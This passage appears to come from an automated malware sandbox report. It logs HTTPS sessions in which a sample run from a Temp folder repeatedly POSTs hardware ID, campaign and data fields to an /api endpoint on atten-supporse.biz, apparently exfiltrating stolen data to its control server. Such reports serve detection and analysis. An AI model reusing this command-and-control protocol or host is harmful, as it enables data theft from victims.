7f 0e 4b 39 6c 34 f2 ab 87 81 45 79 47 e4 83 fd de 41 41 b0 5f e3 e4 b3 1d 46 de 9f f6 61 60 6e d5 3e c6 99 fc 38 8f 7d 0c f2 Data Ascii: >5JvD?\|E^$tu_8<z;d-Jj8v<j~=dld2YU!oh!''f,_WY;C_7)I-mFWMYcOk:~I[Y=7Un_28T}7Tr!zU=K9l4EyGAA_Fa`n>8}
2024-12-09 20:09:49 UTC	15331	OUT	Data Raw: ff b8 e6 8b 62 70 82 f9 71 a1 52 df 15 d2 a4 76 e8 4f 2c 76 3b c0 87 ff d2 e6 9f f4 55 af 6f 7c c9 8d 63 0a 58 17 22 59 15 73 af 1c 93 c5 c4 fb 22 36 49 ba 69 29 d5 95 32 9e 0d bd 01 45 cd d0 bf cc 89 3f 5b 60 a9 cf f2 29 8c 36 e3 67 13 0e 03 cc ba 3f a3 e9 9e 5b a7 0f 37 f2 ce 7f 45 45 5a 3f df 21 f9 62 06 00 cf 4e c5 19 cc 57 4e d6 3d ff cd 65 fd 37 91 d3 a7 7d 4b 29 59 1b dd b4 cb 7a e3 3d 2d a3 2f 24 7d cf 85 c1 9f 57 e3 d9 30 c4 2d 19 c5 79 ac ba 1d d3 81 77 71 c1 93 af 2e 98 19 ac c8 da 8e da 51 1d 1c 2d 71 36 2a 20 99 bb ec 69 ba 76 ef 0b f5 27 6b 20 cf 94 3e f7 a8 78 e7 ee fe af 43 f6 db 01 fa 3b 85 25 60 38 f1 33 92 44 53 a0 19 f1 03 5d 7e 28 9a 17 4c 94 67 6b a0 bb 79 98 b3 08 a0 84 a4 e0 af 49 1d 4f e6 af ca 94 00 9a 70 04 04 7a 84 ce 15 f3 40 Data Ascii: bpqRvO,v;Uo\|cX"Ys"6Ii)2E?[`)6g?[7EEZ?!bNWN=e7}K)Yz=-/$}W0-ywq.Q-q6* iv'k >xC;%`83DS]~(LgkyIOpz@
2024-12-09 20:09:49 UTC	15331	OUT	Data Raw: be aa 8e c8 da 85 ea c0 b1 c1 21 26 67 f1 b8 26 44 3b c3 6b 37 cd 76 4b 0c ff ba 94 a4 8e e9 d3 10 07 2e 4f a5 4e 5f 05 53 ac 1d 9e fa 07 da ba 89 2d e6 57 a8 ea 17 6a 0c aa 8d 5a 19 2b 11 ad ff db ba 8e e0 ba 6b 99 71 2a 3c 42 a5 ea 74 26 06 64 95 23 de fc 3f a1 fa ff e4 6c 03 38 cd cc 96 22 02 e6 30 e0 1a 7a 6a c4 5e 12 6a 7a b9 dd f5 8b 13 b0 80 03 72 0c 09 d9 0d 3b 96 08 10 ba 9d af 0a 05 29 c1 e9 c2 2b 06 80 8c 08 13 05 07 ba ee 00 d3 ee fa 60 0c 5b 0d d5 72 ca df a8 70 a8 65 0e ff cf 24 aa 17 7d 74 a8 55 bc 00 19 f3 4a 82 fc c1 0c c2 c9 67 d4 85 18 7d 97 0b 7a 3d 9b ef 2e 8a 23 ca 90 d3 b4 d8 56 5c af a3 70 f2 a0 61 4a 75 ac d2 0d d1 29 94 80 05 91 8a d8 3c bc d4 4e 47 10 d9 17 7d ac 37 67 3f 6e 86 eb 72 77 d6 2a a8 b0 29 20 56 72 12 37 f7 fa 21 9b Data Ascii: !&g&D;k7vK.ON_S-WjZ+kq<Bt&d#?l8"0zj^jzr;)+`[rpe$}tUJg}z=.#V\paJu)<NG}7g?nrw) Vr7!
2024-12-09 20:09:49 UTC	15331	OUT	Data Raw: 64 59 29 d3 03 40 85 97 34 b2 e0 37 ad 9a 80 ba a2 d9 48 85 18 6c ee 32 77 0d 0e 3e a1 65 09 69 5a 92 20 28 7f 2e f7 bf 75 76 fd 76 cd bc c2 65 70 c7 ef 19 9f ef c8 38 cc 1f e9 7f 67 26 0a 00 c0 11 06 1a 89 50 28 60 ae 4f 4d 3d 18 49 3b 0f e7 87 d7 61 4f 28 37 3a 6f f7 40 5c f5 fe c3 06 60 0d 9b a7 c0 ab 3f 46 6e 0e 51 04 c0 ab a5 36 24 5d 81 45 4f 09 fd 55 7a c0 00 3b 15 a0 81 84 78 11 87 10 26 54 fa 3d 26 f7 34 21 26 b2 da f7 4b ab c0 0b 7d 6f c9 9b 2d 23 7f df b0 63 55 75 1c 72 14 16 ae 7f ae 77 ab f4 fa 1b 88 3c be 71 79 8f 0c d0 be 39 34 f1 0f 66 e3 2b c4 28 ab 3e 86 63 08 8e e9 60 84 a0 85 46 a1 5e c9 9f b2 f4 c6 3d 97 ce e4 62 7d 0b 0b 6a 08 fc 73 70 7c 62 99 8e 68 78 7d 1b 6c 97 8d ca 43 64 f5 c5 83 d8 ce bf 92 93 bf 82 ec 40 f0 c6 94 54 34 f0 8a Data Ascii: dY)@47Hl2w>eiZ (.uvvep8g&P(`OM=I;aO(7:o@\`?FnQ6$]EOUz;x&T=&4!&K}o-#cUurw<qy94f+(>c`F^=b}jsp\|bhx}lCd@T4
2024-12-09 20:09:49 UTC	15331	OUT	Data Raw: d4 08 ba c1 dd a0 c8 07 71 ed 07 e6 94 19 a1 ee 44 81 41 7c 6a dd 71 9f b5 7d 2d 66 2a 92 9b 80 5a 91 fb 52 b6 9b 0d 07 41 9d 5a 4c a9 7e 01 ef 49 ae df 9e 62 6c 48 eb fc 17 ba 20 23 a9 98 8b 45 29 da f1 20 0e 4a d6 d7 3e 84 c8 ec 02 b6 4b ea 96 07 c4 30 30 fe 6c b8 bd 29 a1 d2 ea b9 38 fc 59 20 8d f5 db 95 f5 fb 9f ba 9a 67 11 dc cd 9c ed 49 8e d2 1b d7 1a 45 8e 59 30 4b 61 e1 c8 c6 1e 6b b6 79 fc 62 38 ab 2d 71 47 3d 86 a2 3e c4 a0 32 08 e3 8d 7f bf 7d f1 eb 85 0d dd ee 15 ac fb cc 6b dc 65 64 ff 29 75 a3 d5 19 fa 32 eb 9f dd 52 03 54 55 86 0e 76 aa 87 07 d4 2c 7f ff e9 79 f3 52 88 a5 15 a1 28 6e b3 02 13 35 ff 46 f5 f4 fd 13 77 e6 9d fa 3c fd 72 7b 9e b6 08 04 d0 7d 6f 2a 05 e2 b5 c5 65 d7 94 f6 a2 f0 d1 ab 85 8f 2a 50 d9 57 82 18 a3 c7 d4 c2 7a bf 0b Data Ascii: qDA\|jq}-fZRAZL~IblH #E) J>K00l)8Y gIEY0Kakyb8-qG=>2}ked)u2RTUv,yR(n5Fw<r{}oe*PWz
2024-12-09 20:09:49 UTC	15331	OUT	Data Raw: bc 39 44 f6 5c bd fb e8 dc 10 7f 86 54 e5 a3 0c 7f d3 f8 5c 9d b6 32 77 68 72 4e 87 b9 7b f8 db ea 51 7e ce 90 c9 cc b1 fa 9b ec 6a 52 b0 e0 bb ed 20 5d 42 1d 3a d6 04 c0 51 1d 30 dd b9 b3 22 0e 22 39 c7 bc f6 60 f5 bc 99 04 68 19 51 a1 d5 dc bf 4f 7b 20 6a 1a fe 9d bb 4f 25 b5 40 c2 75 eb 8b 47 ae 35 c8 78 99 de df 22 d1 22 56 df cc 14 17 a7 88 ac 1c cf 2e ec ab 6c 78 5e 58 fc d3 1a c1 94 46 65 7c 6e 60 fd 27 04 0f 47 c3 27 44 81 1d fb 03 24 78 52 51 a5 07 90 a0 53 0a 34 9b f6 da 6d 4e 92 8c 84 a8 e4 16 0b c0 7c 75 7f 30 e8 6b 5d 25 4c 91 4e 08 40 c0 89 9c 17 4f 6a 7c b8 57 31 7c 1f 69 a7 31 64 d0 ed 8d b3 20 5d 13 77 19 03 09 03 19 9e 06 d0 d2 5f 7f 88 65 b8 39 1e 80 87 f5 87 98 5e 12 8f 2b cb 24 81 10 d3 51 9a ce 44 37 e9 23 98 0c de 1a e6 ec 25 f6 e5 Data Ascii: 9D\T\2whrN{Q~jR ]B:Q0""9`hQO{ jO%@uG5x""V.lx^XFe\|n`'G'D$xRQS4mN\|u0k]%LN@Oj\|W1\|i1d ]w_e9^+$QD7#%
2024-12-09 20:09:49 UTC	15331	OUT	Data Raw: 43 b6 34 4a 12 5c df ec 51 5e c2 bd 62 45 7b 25 63 68 ea 08 c8 53 88 0b ed 72 d9 78 3f f7 32 c8 68 57 aa 0d 3a ec 65 93 ee 18 77 30 23 d5 3e 33 72 bf 6c b3 ad de 93 ea a7 98 7e 25 15 38 00 3a f8 d7 3f ba 51 c4 6c d5 61 e6 59 c4 df 57 30 c9 f3 8c 74 76 2e 0b ef ed 03 fd 5a 2d 4c 42 d6 a1 b1 d9 b9 c0 c1 39 aa 0b d1 fc 80 3e 29 54 2f e1 d0 86 a0 28 2f 98 e6 10 53 12 15 5e 7f 21 cc 8d 8a 52 8c f9 d2 ab 6f ff 92 bf 46 69 b8 0d 61 85 85 62 4e 38 0c 55 bd 7c 82 6f e1 d5 29 53 dc 8a 8c e4 3b ce 87 f5 ca 50 55 99 59 07 c3 8c f8 ad 2d e0 19 63 47 cf db 89 f1 e1 f0 ea 93 3f 74 a3 48 1d 2c 54 2c e3 c5 12 17 0b 8a 65 4a 85 d7 cf 5a 50 55 d1 d7 10 94 e6 15 81 67 92 5c d5 20 a1 b8 75 6f 57 26 e8 05 01 02 dc 77 da 82 72 3f b6 9d d5 b4 8b 44 7a 04 eb e3 9a 57 b5 99 aa 6a Data Ascii: C4J\Q^bE{%chSrx?2hW:ew0#>3rl~%8:?QlaYW0tv.Z-LB9>)T/(/S^!RoFiabN8U\|o)S;PUY-cG?tH,T,eJZPUg\ uoW&wr?DzWj
2024-12-09 20:09:49 UTC	15331	OUT	Data Raw: 0d 0a d6 60 62 4a 31 09 36 36 a4 59 67 0c f5 fa 6c 16 a0 d4 0a 92 36 61 48 98 a3 05 ea 43 67 86 ab 9b 21 2a 0e 91 8c e1 b9 be 9b 9f 6a f9 ba 30 ef 3b c8 1f ea 5d 1c f0 f3 0c 9f eb 5d ad da 7b 5a 2b 68 f6 33 d9 6f 16 43 1f 32 e7 c4 64 9d 6a a4 d3 fd 5e f9 b3 b9 77 fd d9 3c 83 b1 59 5d 0a 4b 9d f8 9f da c0 5e e2 17 f4 38 db 07 e2 d3 c4 28 e3 10 ab db 86 3c 65 3e ff a1 b0 f4 77 b0 fb b8 f8 c7 89 f5 37 28 e0 36 3c 38 c0 be 0e e4 49 d9 d5 91 33 8d b3 1b 8e f4 a1 fe 70 56 3b 0b 81 02 e1 fe cb 0b d7 36 22 dc 6f 03 bd 52 20 28 08 dc 87 3d 27 11 f0 c0 4e 17 78 e0 0f 98 3f 2c 70 0b 8f ab ae d6 3a 16 ce 49 80 c8 72 19 b0 42 e0 f7 ed 9c 15 04 fd a8 d5 98 a5 94 f9 b9 07 9e 8f fd ec cd 96 ef 39 57 de 28 2e 6f b2 62 46 3a 27 7e b8 08 0c cf 10 68 4f 00 eb 7e 34 ec bc 0b Data Ascii: `bJ166Ygl6aHCg!*j0;]]{Z+h3oC2dj^w<Y]K^8(<e>w7(6<8I3pV;6"oR (='Nx?,p:IrB9W(.obF:'~hO~4
2024-12-09 20:09:53 UTC	1024	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8lnmssmh1cvuup2msqk9bm2sin; expires=Fri, 04-Apr-2025 13:56:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=idpw72kcYFww0ixNuCaXQlE4kfP48dNGWUdsD5JADdrHE%2FGrJsJys9oOND1YZhZTRXXkVHkYBi0hQiivZ9VrE%2BqBNdQSt5DlaCJg0UwQKW%2FPV%2FDJpGMQ55pLF0IXhMNsTkK8aoI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7a295ffd843b0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1592&min_rtt=1591&rtt_var=600&sent=288&recv=587&lost=0&retrans=0&sent_bytes=2846&recv_bytes=568061&delivery_rate=1819314&cwnd=32&unsent_bytes=0&cid=424418d160d86890&ts=3597&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49979	104.21.48.1	443	3504	C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:09:51 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BXV8NKNU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12805 Host: atten-supporse.biz
2024-12-09 20:09:51 UTC	12805	OUT	Data Raw: 2d 2d 42 58 56 38 4e 4b 4e 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 33 38 34 46 43 37 32 36 34 31 31 33 34 32 32 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 42 58 56 38 4e 4b 4e 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 42 58 56 38 4e 4b 4e 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 42 58 56 38 4e 4b 4e 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --BXV8NKNUContent-Disposition: form-data; name="hwid"3384FC726411342223D904AF30EFEBBC--BXV8NKNUContent-Disposition: form-data; name="pid"2--BXV8NKNUContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--BXV8NKNUContent-Di
2024-12-09 20:09:52 UTC	1014	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v9qotfotdiackkl820tv0dda5j; expires=Fri, 04-Apr-2025 13:56:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ADXROTwFjWXViLuZCoXYiuTkNdn8gpK5YoYUsdDTZiJODbUc9jEky7BZoIw2yqW3SU9W5xscpsUBxsVmmkrCQjLnOi6eJ%2FTXVnqHcyer0ZU6Q0odi59WCx0B0PWkMFwnNCLVWFM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7a2a49e700cc8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1499&min_rtt=1492&rtt_var=575&sent=8&recv=16&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13737&delivery_rate=1877813&cwnd=225&unsent_bytes=0&cid=a9f28639c993afc0&ts=968&x=0"
2024-12-09 20:09:52 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 20:09:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49992	104.21.48.1	443	5440	C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:09:54 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: atten-supporse.biz
2024-12-09 20:09:54 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 33 33 38 34 46 43 37 32 36 34 31 31 33 34 32 32 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=3384FC726411342223D904AF30EFEBBC
2024-12-09 20:09:55 UTC	1017	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jmghrkrlbrnfoat40l0d6s5p2k; expires=Fri, 04-Apr-2025 13:56:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qJ7dgrxarziA7e57c%2FOoCwnWPv0nUsyO7u%2FwaxM5vvpackRNprBw7E0soVB1sW0mdIRMnxeHrd%2BUEOKyAr6hy3SwEucnMs3EUr89EE9T7wOXZkrBLVqS6Go9VvVPC%2BLDhoKoMsY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7a2b70e7c7ced-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1824&min_rtt=1819&rtt_var=692&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=990&delivery_rate=1569892&cwnd=179&unsent_bytes=0&cid=44bd2749e6003164&ts=765&x=0"
2024-12-09 20:09:55 UTC	214	IN	Data Raw: 64 30 0d 0a 73 63 68 50 31 66 4d 35 72 37 47 56 6e 33 44 4a 49 66 37 48 6a 71 7a 72 66 56 61 72 39 51 6e 54 62 35 6b 46 42 75 41 31 35 61 72 71 73 32 32 67 30 51 4f 4e 32 65 48 72 41 50 4e 39 30 5a 75 68 6e 64 4e 49 65 4a 6e 45 50 50 31 65 71 44 59 6f 30 51 4f 35 68 64 36 75 4b 59 6e 63 58 63 72 58 75 2f 6f 49 72 41 50 53 35 65 6a 59 79 55 64 6d 68 39 64 73 38 56 57 6f 65 43 71 62 46 35 43 49 69 2b 6f 6e 6f 59 64 4a 6c 65 32 36 77 31 2f 34 47 63 76 70 76 4a 33 65 55 32 65 61 78 69 66 69 57 63 55 71 64 5a 52 51 68 4d 66 74 35 7a 32 30 6e 56 33 41 33 4c 76 36 43 4b 77 44 30 75 58 6f 32 4d 6c 48 5a 6f 66 58 62 50 46 56 71 58 68 62 0d 0a Data Ascii: d0schP1fM5r7GVn3DJIf7HjqzrfVar9QnTb5kFBuA15arqs22g0QON2eHrAPN90ZuhndNIeJnEPP1eqDYo0QO5hd6uKYncXcrXu/oIrAPS5ejYyUdmh9ds8VWoeCqbF5CIi+onoYdJle26w1/4GcvpvJ3eU2eaxifiWcUqdZRQhMft5z20nV3A3Lv6CKwD0uXo2MlHZofXbPFVqXhb
2024-12-09 20:09:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49994	104.21.48.1	443	3504	C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:09:55 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=G1VFG753CN6CM9ML1YE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15117 Host: atten-supporse.biz
2024-12-09 20:09:55 UTC	15117	OUT	Data Raw: 2d 2d 47 31 56 46 47 37 35 33 43 4e 36 43 4d 39 4d 4c 31 59 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 33 38 34 46 43 37 32 36 34 31 31 33 34 32 32 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 47 31 56 46 47 37 35 33 43 4e 36 43 4d 39 4d 4c 31 59 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 47 31 56 46 47 37 35 33 43 4e 36 43 4d 39 4d 4c 31 59 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --G1VFG753CN6CM9ML1YEContent-Disposition: form-data; name="hwid"3384FC726411342223D904AF30EFEBBC--G1VFG753CN6CM9ML1YEContent-Disposition: form-data; name="pid"2--G1VFG753CN6CM9ML1YEContent-Disposition: form-data; name="lid"LOGS11--Li
2024-12-09 20:09:56 UTC	1020	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u8um49p9nt9dj5fbo84inkvvu9; expires=Fri, 04-Apr-2025 13:56:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Sap2est81NzEm89D1QsoEfUjmzkMVMPfzUS8dsgq%2F22G%2FeFMArD8pwrlq4YUiNMfD4R2epe60IPbZ8MwE8%2BiWcZjYlWY9B433Kda0zVp3qoopfyDo5bmb6m3FQ73JegmkASLXRI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7a2b9db027ced-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2290&min_rtt=1807&rtt_var=1645&sent=12&recv=18&lost=0&retrans=0&sent_bytes=2847&recv_bytes=16060&delivery_rate=514446&cwnd=179&unsent_bytes=0&cid=36206db3168d2f4c&ts=1014&x=0"
2024-12-09 20:09:56 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 20:09:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50013	104.21.48.1	443	3504	C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:09:59 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4QTYFXZA02DFZLBVCPO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19975 Host: atten-supporse.biz
2024-12-09 20:09:59 UTC	15331	OUT	Data Raw: 2d 2d 34 51 54 59 46 58 5a 41 30 32 44 46 5a 4c 42 56 43 50 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 33 38 34 46 43 37 32 36 34 31 31 33 34 32 32 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 34 51 54 59 46 58 5a 41 30 32 44 46 5a 4c 42 56 43 50 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 34 51 54 59 46 58 5a 41 30 32 44 46 5a 4c 42 56 43 50 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --4QTYFXZA02DFZLBVCPOContent-Disposition: form-data; name="hwid"3384FC726411342223D904AF30EFEBBC--4QTYFXZA02DFZLBVCPOContent-Disposition: form-data; name="pid"3--4QTYFXZA02DFZLBVCPOContent-Disposition: form-data; name="lid"LOGS11--Li
2024-12-09 20:09:59 UTC	4644	OUT	Data Raw: a5 31 16 55 bb 32 f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee Data Ascii: 1U2+?2+?2+?o?Mp5
2024-12-09 20:09:59 UTC	1021	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r90ch6inu9hug0elir808tq7l8; expires=Fri, 04-Apr-2025 13:56:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U7brIt0H4vpuwKuwU6CAYbf4I8%2FoQXtEDDJIhWJTXY5tURIf53sAnWDaUZUUbR%2FMuKydhRimmq2KC4RJlzcf9wYXmKj%2BhHtLWHIIKkfFuAvEOJOZoRjafIY%2FGycCKKKbegyea80%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7a2d0ea9e7ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2037&min_rtt=1832&rtt_var=834&sent=16&recv=25&lost=0&retrans=0&sent_bytes=2845&recv_bytes=20940&delivery_rate=1593886&cwnd=243&unsent_bytes=0&cid=c11cdc1b49799019&ts=946&x=0"
2024-12-09 20:09:59 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 20:09:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50033	104.21.48.1	443	3504	C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:10:04 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=29R4YMEAS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1216 Host: atten-supporse.biz
